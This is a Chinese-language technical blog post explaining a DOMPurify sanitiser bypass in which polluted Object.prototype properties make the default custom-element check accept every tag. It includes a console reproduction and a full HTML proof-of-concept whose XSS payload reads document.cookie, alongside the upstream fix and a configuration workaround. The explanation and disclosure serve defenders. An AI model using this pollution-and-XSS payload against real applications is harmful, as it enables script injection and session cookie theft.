DOMPurify 的一个漏洞:你以为 {} 是空的?

DOMPurify 的一个漏洞:你以为 {} 是空的?

DOMPurify,前端防 XSS 的标配,sanitize() 一下恶意标签全没了。用了这么多年,一直觉得挺稳。

直到有一天,你发现 <x-x onfocus=alert(1)> 居然原样通过了。

你的调用方式没有任何问题:

js 复制代码
DOMPurify.sanitize(dirty); // 默认配置,按理说是最严格的

问题出在别的地方。


很简单,DOMPurify 内部有一行代码是这么写的:

js 复制代码
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

没传配置 → undefined → || {} → 空对象。然后去读 CUSTOM_ELEMENT_HANDLING.tagNameCheck,空对象上没有 → undefined → DOMPurify 按最严格逻辑拦截所有自定义元素。

听起来没毛病对吧?

但 {} 在 JavaScript 里不一定是空的。


如果 Object.prototype 上被人挂过东西------

这事不稀奇。某个 npm 依赖的 deepMerge 没校验 key,一段 URL 参数解析没过滤 __proto__,甚至你项目里某行不起眼的 target[key] = value------都能干这件事。

js 复制代码
// 某个你根本不知道的角落,可能已经发生了:
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

然后 DOMPurify 再去读 {}.tagNameCheck------

空对象自己没有,但原型链上有。读到了 /.*/。

这个正则是"匹配所有标签"的意思。DOMPurify 一看:哦,你配了白名单,而且所有标签都在白名单里,那就全放行吧。

<x-x onfocus=alert(1)>?合法的,过。


js 复制代码
// 三行代码就能在控制台复现:
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

const clean = DOMPurify.sanitize('<x-x onfocus=alert(1) tabindex=0 autofocus>test</x-x>');
document.body.innerHTML = clean; // alert 弹了

就三行。你什么都没传,DOMPurify 也没报错,但 XSS 绕过去了。


这个漏洞最操蛋的地方在于:你查自己的代码查不出任何问题。

版本是最新的(当时 3.3.3),调用是最标准的,配置是最严格的。但攻击者通过另一个完全不相关的入口污染了 Object.prototype,你的整个 JS 运行时就不干净了。DOMPurify 只是那个"刚好在脏环境里运行"的无辜路人。

有点像你明明没动 Redux store,但某个第三方组件在 componentWillUnmount 里偷偷 dispatch 了一笔------你盯着自己的代码看了一下午也找不到 bug。

flowchart TD A[&#34;某个依赖的 deepMerge&#34;] -->|&#34;污染&#34;| P[&#34;Object.prototype<br/>多了不该有的属性&#34;] B[&#34;某段 URL 解析&#34;] -->|&#34;污染&#34;| P C[&#34;你自己的 Object.assign&#34;] -->|&#34;污染&#34;| P P -->|&#34;DOMPurify 读到脏配置&#34;| D[&#34;所有标签被判定为安全&#34;] D --> E[&#34;XSS&#34;] style P fill:#fde2e2,stroke:#c0392b style E fill:#fde2e2,stroke:#c0392b

Object.prototype 就是比 window 更底层的全局作用域------所有对象共享,污染了就是污染了,谁也跑不掉。


怎么修?DOMPurify 3.4.0 把那一行改成了:

js 复制代码
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || Object.create(null);

Object.create(null) 创建的对象没有原型链 。Object.prototype 上挂再多垃圾,也读不到。

如果你暂时升不了版本,显式传配置也能扛住:

js 复制代码
DOMPurify.sanitize(input, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: null,
    attributeNameCheck: null
  }
});

回想一下,这其实就是前端里一个老生常谈的问题换了个马甲:你拿到的对象不一定是你以为的那个对象。 for...in 能遍历出幽灵属性,in 操作符会误判,|| {} 也不保证干净------都是同一件事。


附录:完整 PoC

html 复制代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-41238 PoC</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.3.3/purify.min.js"></script>
</head>
<body>
    <h1>CVE-2026-41238 --- DOMPurify 原型污染绕过</h1>
    <button onclick="runPoC()">运行 PoC</button>
    <div id="output"></div>

    <script>
        function runPoC() {
            Object.prototype.tagNameCheck = /.*/;
            Object.prototype.attributeNameCheck = /.*/;

            const clean = DOMPurify.sanitize(
                '<x-x onfocus="alert(\'XSS! Cookie: \' + document.cookie)" tabindex="0" autofocus>点我</x-x>'
            );

            const outputDiv = document.getElementById('output');
            outputDiv.innerHTML =
                '<h2>净化后输出:</h2><pre>' +
                clean.replace(/</g, '&lt;') +
                '</pre><h3>渲染结果(应触发弹窗):</h3>';
            outputDiv.innerHTML += clean;
        }
    </script>
</body>
</html>

影响版本 :DOMPurify 3.0.1 ~ 3.3.3 | 修复版本:3.4.0

前提 :应用需存在原型污染入口(否则无法触发) | 参考:GHSA-v9jr-rg53-9pgp

相关推荐
别动我齐刘海4 小时前
C++ 工程化学习
java·linux·前端·c++·学习·机器学习·机器人
志尊宝5 小时前
Vue3 零基础每日笔记(071):暗黑模式与主题切换——CSS 变量 + Element Plus 暗黑方案
前端·css·笔记·vue·html·前端开发·软件开发
刘发财5 小时前
前端如何生成10000页PDF文件?
前端·javascript·开源
A接拉起0076 小时前
2026 年 JavaScript 开发者需要了解的知识
前端·javascript·后端
用户11481867894846 小时前
面试官:大屏项目里十几个模块同时渲染上万条数据,怎么做到不卡?
前端·性能优化
前端市界6 小时前
Pro React Admin: 统一工程底座,承载多种应用...
前端·github
葡萄城技术团队6 小时前
dsh-spreadjs-editor 当前支持什么:安装前需要了解的几件事
前端
三*一6 小时前
优化修整算法
前端·javascript·算法
weifont8 小时前
自动化抓取和上架商品:能不动手,就少动手
运维·前端·自动化
米柆8 小时前
HTML5 audio /video 完整事件监听模板
前端·html·html5